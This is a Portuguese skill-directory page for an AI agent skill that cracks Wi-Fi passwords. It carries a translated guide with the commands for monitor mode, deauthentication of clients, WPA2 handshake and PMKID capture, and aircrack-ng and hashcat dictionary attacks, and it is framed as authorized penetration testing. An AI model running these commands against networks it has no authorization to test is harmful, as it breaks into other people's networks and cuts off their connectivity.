Pular para o conteúdo
Skillpedia
Agentes35 mil · #6173

performing-wifi-password-cracking-with-aircrack

Faz seu agente capturar e quebrar senhas de redes Wi-Fi para avaliar a segurança sem fio.

O que ela faz

Esta ferramenta ajuda a testar a segurança de redes Wi-Fi. Ela captura informações de conexão e tenta adivinhar a senha para verificar se ela é forte o suficiente.

Quando usar

  • ✓Testar a força da senha da sua rede Wi-Fi.
  • ✓Verificar se a senha da rede Wi-Fi é fácil de adivinhar.
  • ✓Avaliar a segurança geral de uma rede Wi-Fi (com permissão).

Exemplo do que pedir para a IA

“Tente adivinhar a senha da rede Wi-Fi 'MinhaCasaWifi' usando uma lista de senhas comuns.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-wifi-password-cracking-with-aircrack/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-wifi-password-cracking-with-aircrack/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta captura um 'aperto de mão' quando um dispositivo se conecta à rede Wi-Fi. Depois, ela usa programas para tentar várias senhas de uma lista até encontrar a correta.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-wifi-password-cracking-with-aircrack

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-wifi-password-cracking-with-aircrack/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Realizando Quebra de Senhas WiFi com Aircrack-ng

Quando Usar

  • Avaliando a força de frases secretas WPA/WPA2/WPA3 durante testes de penetração wireless autorizados
  • Testando se redes wireless estão usando senhas fracas ou padrão que podem ser quebradas offline
  • Capturando e analisando handshakes de 4 vias para avaliar a segurança de autenticação wireless
  • Demonstrando os riscos de WEP, frases secretas WPA2 fracas e ataques baseados em PMKID para partes interessadas
  • Validando que redes wireless corporativas usam 802.1X/EAP em vez de chaves pré-compartilhadas

Não use contra redes wireless sem autorização escrita explícita, para interromper comunicações wireless ou para capturar handshakes de redes que você não tem permissão para testar.

Pré-requisitos

  • Autorização escrita especificando SSIDs e redes wireless no escopo
  • Adaptador wireless com modo monitor e suporte a injeção de pacotes (Alfa AWUS036ACH, Alfa AWUS036ACM ou similar)
  • Kali Linux com a suíte aircrack-ng, hashcat e hcxtools instalados
  • Listas de palavras de senhas (rockyou.txt, SecLists ou listas personalizadas específicas da organização)
  • Sistema com capacidade de GPU para aceleração do hashcat (opcional, mas recomendado para listas de palavras grandes)

Fluxo de Trabalho

Passo 1: Preparar a Interface Wireless

# Identify wireless interfaces
iwconfig
# or
iw dev

# Kill interfering processes
sudo airmon-ng check kill

# Enable monitor mode
sudo airmon-ng start wlan0
# Output: monitor mode enabled on wlan0mon

# Verify monitor mode
iwconfig wlan0mon
# Mode should show "Monitor"

# Alternatively, enable monitor mode manually
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

Passo 2: Escanear Redes Alvo

# Scan all channels for access points
sudo airodump-ng wlan0mon

# Output columns:
# BSSID          PWR  Beacons  #Data  CH  ENC   CIPHER  AUTH  ESSID
# AA:BB:CC:DD:EE:FF  -45    120    35   6  WPA2  CCMP    PSK   TargetNetwork

# Identify the target network parameters:
# - BSSID (MAC address of the access point)
# - Channel number
# - Encryption type (WPA2-PSK is the target)
# - Connected clients (in the lower section)

# Focus scanning on the target channel
sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w capture

Passo 3: Capturar o Handshake de 4 Vias WPA2

# Method 1: Wait for a client to connect naturally
# Keep airodump-ng running and wait for "WPA handshake: AA:BB:CC:DD:EE:FF" message
sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w handshake_capture

# Method 2: Deauthenticate a client to force reconnection (active)
# In a separate terminal, send deauth packets to a specific client
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

# Or deauth all clients (broadcast)
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Method 3: Capture PMKID from the AP (no client needed)
# Using hcxdumptool
sudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_capture.pcapng \
  --filterlist_ap=AA:BB:CC:DD:EE:FF --filtermode=2

# Wait for "PMKID" message, then convert for hashcat
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_capture.pcapng

# Verify handshake was captured
aircrack-ng handshake_capture-01.cap
# Should show: "1 handshake" next to the target BSSID

# Alternative verification with cowpatty
cowpatty -r handshake_capture-01.cap -c

Passo 4: Quebrar com Aircrack-ng (baseado em CPU)

# Crack using rockyou wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap

# Use multiple wordlists
aircrack-ng -w /usr/share/wordlists/rockyou.txt,/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt \
  -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap

# Crack with a specific ESSID
aircrack-ng -w /usr/share/wordlists/rockyou.txt -e "TargetNetwork" handshake_capture-01.cap

# If successful, output shows:
# KEY FOUND! [ password123 ]

Passo 5: Quebrar com Hashcat (acelerado por GPU)

# Converter captura para formato hashcat
# Para capturas de handshake:
hcxpcapngtool -o hashcat_input.hc22000 handshake_capture-01.cap

# Ou usar conversão aircrack-ng
aircrack-ng handshake_capture-01.cap -j hashcat_input

# Ataque de dicionário com hashcat
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt

# Ataque baseado em regras (transforma palavras do dicionário)
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule


…
Perguntas frequentes

Preciso de permissão para usar esta ferramenta?

Sim, você precisa de permissão explícita e por escrito para testar qualquer rede Wi-Fi que não seja sua.

O que é um 'aperto de mão' (handshake)?

É uma troca de informações de segurança que acontece quando um dispositivo se conecta a uma rede Wi-Fi protegida por senha.

Quais são os pré-requisitos para usar esta ferramenta?

Você precisa de um computador com um sistema operacional específico (Kali Linux), um adaptador Wi-Fi compatível e listas de senhas para testar.

Detalhes

Descrição original do autor

Captures WPA/WPA2 handshakes and performs offline password cracking using aircrack-ng, hashcat, and dictionary attacks during authorized wireless security assessments to evaluate passphrase strength and wireless network security posture. '

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6173
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas